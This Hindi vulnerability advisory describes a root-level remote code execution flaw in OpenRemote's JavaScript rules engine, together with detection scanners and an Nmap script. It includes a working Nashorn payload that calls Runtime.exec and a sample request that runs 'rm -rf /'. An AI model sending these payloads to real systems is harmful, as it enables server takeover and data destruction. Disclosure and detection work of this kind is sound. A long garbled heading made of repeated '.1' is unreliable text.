
OpenRemote के Rules Engine में गंभीर रिमोट कोड निष्पादन भेद्यता प्रमाणित उपयोगकर्ताओं को `write:rules` भूमिका के साथ सर्वर पर रूट विशेषाधिकारों के साथ मनमाना कोड निष्पादित करने की अनुमति देती है।
OpenRemote के Rules Engine में गंभीर रिमोट कोड एक्ज़ीक्यूशन भेद्यता, जो write:rules भूमिका वाले प्रमाणित उपयोगकर्ताओं को सर्वर पर रूट विशेषाधिकारों के साथ मनमाना कोड निष्पादित करने की अनुमति देती है।
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:HOpenRemote स्मार्ट इमारतों, शहरों और उद्योगों के निर्माण के लिए एक ओपन-सोर्स IoT प्लेटफ़ॉर्म है। यह इंटरनेट ऑफ थिंग्स पारिस्थितिकी तंत्र के लिए डिवाइस प्रबंधन, स्वचालन नियम, विश्लेषण और एकीकरण प्रदान करता है।
Internet / Network
|
┌────────┴────────┐
v v
┌──────────────┐ ┌──────────────┐
| Web Browser | | Mobile App |
└──────────────┘ └──────────────┘
| |
└────────┬────────┘
v
┌──────────────────┐
| OpenRemote API |
| (REST/WebSocket) |
└────────┬─────────┘
v
┌──────────────────┐
| Manager Service |
| (Port 8080) |
└────────┬─────────┘
|
┌────────────────────┼────────────────────┐
| | |
v v v
┌──────────┐ ┌──────────┐ ┌──────────────┐ | Rules | | Asset | | Notification | | Engine | | Storage | | Service | └──────────┘ └──────────┘ └──────────────┘ | | v v ┌──────────────────────────────────┐ | PostgreSQL / Timescale Database | └──────────────────────────────────┘
## भेद्यता गहन विश्लेषण
### मूल कारण विश्लेषण
यह भेद्यता OpenRemote के Rules Engine में दो गंभीर खामियों से उत्पन्न होती है:
**खामी 1: बिना सैंडबॉक्स वाला Nashorn JavaScript इंजन**
Java Nashorn JavaScript इंजन का उपयोग उपयोगकर्ता-प्रदत्त नियम अभिव्यक्तियों का मूल्यांकन करने के लिए बिना किसी सैंडबॉक्सिंग, सुरक्षा प्रबंधक, या ClassFilter प्रतिबंधों के किया जाता है। यह हमलावरों को JavaScript संदर्भ से सीधे Java कक्षाओं तक पहुँचने की अनुमति देता है।
**खामी 2: अक्षम Groovy सैंडबॉक्स**
Groovy स्क्रिप्ट इंजन में कोड निष्पादन को रोकने के लिए एक GroovyDenyAllFilter पंजीकृत था, लेकिन यह फ़िल्टर पंजीकरण कोडबेस में टिप्पणी कर दिया गया था। केवल Groovy प्रवर्तन API स्तर पर मौजूद था (RulesResourceImpl.java:262), लेकिन JavaScript पर कोई प्रतिबंध नहीं थे।
### भेद्य कोड पथ```
RulesResource.java (lines 153-158)
|
> POST request handler for rule creation
|
v
RulesetDeployment.java (line 368)
|
> scriptEngine.eval(ruleExpression)
|
v
Nashorn Engine
|
> No ClassFilter / SecurityManager
> Java.type() accessible
> Runtime.exec() available
यह भेद्यता write:rules भूमिका वाले प्रमाणित उपयोगकर्ताओं को प्रभावित करती है। RulesResourceImpl.java:262 पर प्राधिकरण जांच केवल गैर-सुपरयूज़र के लिए Groovy को ब्लॉक करती है:```
if (!isUserSuperuser && isGroovy) {
throw new UnauthorizedException("Groovy rules not allowed");
}
इसका अर्थ है:
- गैर-सुपरयूज़र JavaScript नियम बना सकते हैं (कोई ब्लॉक नहीं)
- गैर-सुपरयूज़र Groovy नियम नहीं बना सकते (ब्लॉक किया गया)
- JavaScript में कोई सैंडबॉक्सिंग नहीं है, इसलिए write:rules वाला कोई भी प्रमाणित उपयोगकर्ता शोषण संभव है
इसके अतिरिक्त, assetStorageService पर रिफ्लेक्शन के माध्यम से मल्टी-टेनेंट आइसोलेशन को बायपास किया जा सकता है, जिससे अन्य रियल्म्स का डेटा एक्सेस किया जा सकता है।
### अटैक फ्लो```
┌─────────────────────────────────────────────────────┐
| 1. Attacker authenticates with write:rules role |
└─────────────────────────────────────────────────────┘
|
v
┌─────────────────────────────────────────────────────┐
| 2. POST /api/{realm}/rules/realm with JS expression|
└─────────────────────────────────────────────────────┘
|
v
┌─────────────────────────────────────────────────────┐
| 3. Expression passes validation (no checks) |
└─────────────────────────────────────────────────────┘
|
v
┌─────────────────────────────────────────────────────┐
| 4. RulesetDeployment.java calls scriptEngine.eval() |
└─────────────────────────────────────────────────────┘
|
v
┌─────────────────────────────────────────────────────┐
| 5. Nashorn Engine executes JavaScript payload |
└─────────────────────────────────────────────────────┘
|
v
┌─────────────────────────────────────────────────────┐
| 6. Java.type("java.lang.Runtime") access granted |
└─────────────────────────────────────────────────────┘
|
v
┌─────────────────────────────────────────────────────┐
| 7. Arbitrary command execution as root |
└─────────────────────────────────────────────────────┘
चरण 1: write:rules क्रेडेंशियल प्राप्त करें
एक प्रमाणित उपयोगकर्ता को write:rules भूमिका की आवश्यकता होती है। यह हो सकता है:
चरण 2: JavaScript पेलोड तैयार करें
JavaScript का उपयोग करके एक नियम अभिव्यक्ति बनाएं जो Java Runtime तक पहुंचती है:```javascript var result = ""; try { var runtime = Java.type("java.lang.Runtime").getRuntime(); var process = runtime.exec("id"); var reader = new java.io.BufferedReader( new java.io.InputStreamReader(process.getInputStream()) ); var line; while ((line = reader.readLine()) != null) { result += line; } } catch (e) { result = e.toString(); } result;
**चरण 3: असुरक्षित एंडपॉइंट पर भेजें**```
POST /api/{realm}/rules/realm HTTP/1.1
Content-Type: application/json
{
"name": "malicious_rule",
"enabled": true,
"trigger": "timer",
"actions": [
{
"type": "local_action",
"target": "asset_id",
"action": "perform_action",
"value": "// Payload here"
}
],
"ruleExpression": "var runtime = Java.type('java.lang.Runtime').getRuntime(); runtime.exec('rm -rf /');"
}
चरण 4: नियम निष्पादन
प्लेटफ़ॉर्म नियम का मूल्यांकन तुरंत या निर्धारित ट्रिगर समय पर करता है, और पेलोड को रूट विशेषाधिकारों के साथ निष्पादित करता है।
चरण 5: पोस्ट-एक्सप्लॉइटेशन
रूट के रूप में RCE के साथ, हमलावर यह कर सकते हैं:
प्रमाणित हमलावर OpenRemote सर्वर पर रूट विशेषाधिकारों के साथ मनमाना कोड निष्पादित करते हैं। यह सबसे उच्च गंभीरता वाला प्रभाव है, जो पूर्ण सिस्टम समझौता करने की अनुमति देता है।``` Result of successful exploitation: uid=0(root) gid=0(root) groups=0(root)
#### फ़ाइल सिस्टम एक्सेस
सिस्टम पर सभी फ़ाइलों तक पूर्ण पढ़ने और लिखने की पहुंच:
- एप्लिकेशन सोर्स कोड का खुलासा
- संवेदनशील कॉन्फ़िगरेशन फ़ाइलें (डेटाबेस पासवर्ड, API कुंजियाँ)
- सिस्टम फ़ाइलें और क्रेडेंशियल्स
- Docker कंटेनर फ़ाइलें (यदि कंटेनराइज़्ड है)
#### पर्यावरण चर की चोरी
निम्नलिखित युक्त पर्यावरण चर तक पहुंच:
- डेटाबेस कनेक्शन स्ट्रिंग्स
- API कुंजियाँ और टोकन
- OAuth रहस्य
- निजी एन्क्रिप्शन कुंजियाँ
- AWS/Cloud क्रेडेंशियल्स
#### डेटा उल्लंघन
मल्टी-टेनेंट परिनियोजन में, हमलावर रिफ्लेक्शन के माध्यम से टेनेंट अलगाव को बायपास कर सकते हैं:
- सभी टेनेंट्स से एक साथ डेटा एक्सेस करें
- गोपनीय IoT सेंसर डेटा पढ़ें
- संगठनों में स्वचालन नियम संशोधित करें
- व्यावसायिक खुफिया और मालिकाना जानकारी निकालें
#### सिस्टम अखंडता
- स्थायी बैकडोर स्थापना
- मैलवेयर परिनियोजन
- रैनसमवेयर निष्पादन
- आपूर्ति श्रृंखला समझौता (यदि विकास में उपयोग किया जाता है)
#### सेवा व्यवधान
- संसाधन क्षय के माध्यम से सेवा से इनकार
- डेटाबेस विलोपन या भ्रष्टाचार
- कॉन्फ़िगरेशन छेड़छाड़
- सिस्टम शटडाउन या पुनरारंभ
---
## प्रभावित संस्करण
| संस्करण | स्थिति | नोट्स |
|---------|--------|-------|
| <= 1.15.0 | असुरक्षित | मूल भेद्यता मौजूद है |
| 1.16.0 | असुरक्षित | कोई फिक्स लागू नहीं |
| 1.17.0 | असुरक्षित | कोई फिक्स लागू नहीं |
| 1.18.0 | असुरक्षित | कोई फिक्स लागू नहीं |
| 1.19.0 | असुरक्षित | कोई फिक्स लागू नहीं |
| 1.20.0 | असुरक्षित | कोई फिक्स लागू नहीं |
| 1.21.0 | असुरक्षित | अंतिम प्रभावित संस्करण |
| 1.22.0+ | ठीक किया गया | JavaScript नियम इंजन पूरी तरह से हटा दिया गया |
### संस्करण विवरण
- **असुरक्षित सीमा**: 1.0.0 से 1.21.0 तक (JS नियम इंजन वाले सभी संस्करण)
- **ठीक किया गया संस्करण**: 1.22.0 (JavaScript नियम इंजन पूरी तरह से हटा दिया गया)
- **बैकपोर्ट्स**: पुराने संस्करणों के लिए कोई सुरक्षा बैकपोर्ट उपलब्ध नहीं; अपग्रेड आवश्यक है
---
## पहचान
### यह कैसे काम करता है
पहचान तंत्र OpenRemote इंस्टेंस की पहचान करते हैं और कई तरीकों से भेद्यता स्थिति की जांच करते हैं:
1. **HTTP बैनर पहचान**: OpenRemote की पहचान करने और संस्करण जानकारी निकालने के लिए API रूट एंडपॉइंट को क्वेरी करता है
2. **एंडपॉइंट फ़िंगरप्रिंटिंग**: असुरक्षित एंडपॉइंट्स की उपस्थिति और व्यवहार का परीक्षण करता है
3. **संस्करण सहसंबंध**: पहचाने गए संस्करण की तुलना ज्ञात भेद्यता सीमाओं से करता है
4. **प्रतिक्रिया विश्लेषण**: OpenRemote हस्ताक्षरों के लिए त्रुटि संदेशों और प्रतिक्रिया संरचनाओं की जांच करता है
### Python स्कैनर
`detect_openremote.py` स्कैनर स्वचालित पहचान और भेद्यता मूल्यांकन करता है।
#### स्थापना```bash
python3 -m pip install requests
python3 detect_openremote.py [OPTIONS]
#### विकल्प
| विकल्प | शॉर्ट | लॉन्ग | प्रकार | विवरण |
|--------|-------|------|------|-------------|
| लक्ष्य | -t | --target | string | एकल लक्ष्य URL (जैसे, http://10.0.0.1:8080) |
| सूची | -l | --list | file | लक्ष्यों की सूची वाली फ़ाइल (प्रति पंक्ति एक) |
| आउटपुट | -o | --output | file | परिणाम CSV फ़ाइल में लिखें |
| विस्तृत | -v | --verbose | flag | विस्तृत प्रतिक्रियाओं के साथ विस्तृत आउटपुट सक्षम करें |
| टाइमआउट | | --timeout | int | HTTP अनुरोध टाइमआउट सेकंड में (डिफ़ॉल्ट: 10) |
| बैनर | | --no-banner | flag | बैनर प्रिंटिंग छोड़ें |
#### उदाहरण: एकल लक्ष्य```bash
python3 detect_openremote.py --target http://10.0.0.1:8080 --verbose
[*] Scanning http://10.0.0.1:8080 [+] OpenRemote detected! Version: 1.21.0 Vulnerable: YES (CVE-2026-39842) CVSS Score: 10.0 Critical Status: Requires upgrade to 1.22.0+
#### उदाहरण: आउटपुट के साथ एकाधिक लक्ष्य```bash
python3 detect_openremote.py --list targets.txt --output results.csv --timeout 15
File targets.txt:```
http://192.168.1.100:8080
http://192.168.1.101:8080
https://openremote.example.com:8443
http://10.20.30.40:8080
प्रत्याशित आउटपुट `results.csv` में:```
Target,Status,Version,Vulnerable,CVSS
http://192.168.1.100:8080,OpenRemote Detected,1.21.0,YES,10.0
http://192.168.1.101:8080,OpenRemote Detected,1.20.0,YES,10.0
https://openremote.example.com:8443,OpenRemote Detected,1.22.1,NO,-
http://10.20.30.40:8080,Not OpenRemote,-,-,-
python3 detect_openremote.py --target http://10.0.0.1:8080 --verbose --no-banner
अपेक्षित विस्तृत आउटपुट:```
[*] Target: http://10.0.0.1:8080
[*] Probing for OpenRemote...
[*] HTTP GET /
Response Code: 200
Server: Apache
Content-Type: text/html
[*] Checking /api/info
Response Code: 200
Body: {"version":"1.21.0","name":"OpenRemote"}
[+] OpenRemote 1.21.0 identified
[+] Version 1.21.0 is vulnerable to CVE-2026-39842
[!] CVSS: 10.0 Critical
[!] RCE Confirmed: YES
openremote-detect.nse स्क्रिप्ट भेद्यता स्कैनिंग के लिए Nmap एकीकरण प्रदान करती है।
cp openremote-detect.nse /usr/share/nmap/scripts/ nmap --script-updatedb
#### उपयोग```bash
nmap -p 8080 --script openremote-detect <target>
nmap -p 8080 --script openremote-detect --script-args openremote-detect.verbose=true <target>
nmap -p 8080 --script openremote-detect 192.168.1.0/24
## 3.2.2.2.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.```
Nmap scan report for 192.168.1.100
Host is up (0.0042s latency).
8080/tcp open http-proxy
| openremote-detect:
| Status: OpenRemote Detected
| Version: 1.21.0
| Vulnerable: YES
| CVE: CVE-2026-39842
|_ CVSS: 10.0 Critical
Nmap scan report for 192.168.1.101
Host is up (0.0031s latency).
8080/tcp open http-proxy
| openremote-detect:
| Status: OpenRemote Detected
| Version: 1.22.1
| Vulnerable: NO
| Fixed Version: 1.22.0
|_ Status: Patched
nmap -p 8080 --script openremote-detect --script-args openremote-detect.verbose=true -oX results.xml 192.168.1.100
अपेक्षित विस्तृत आउटपुट:```
| openremote-detect:
| Host: 192.168.1.100:8080
| Detection Method: HTTP Banner Analysis
| Probe Endpoint: /api/info
| Response Code: 200
| Version: 1.21.0
| Version Detected: YES
| Vulnerable: YES
| CVE-2026-39842: AFFECTED
| CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
| CVSS Score: 10.0
| Fix Available: YES
| Fixed Version: 1.22.0
| Authentication Required: YES
| Endpoint Vulnerable: POST /api/{realm}/rules/realm
|_ Endpoint Vulnerable: POST /api/{realm}/rules/asset
curl का उपयोग करके भेद्यता की पुष्टि करने के लिए मैन्युअल जाँच करें:
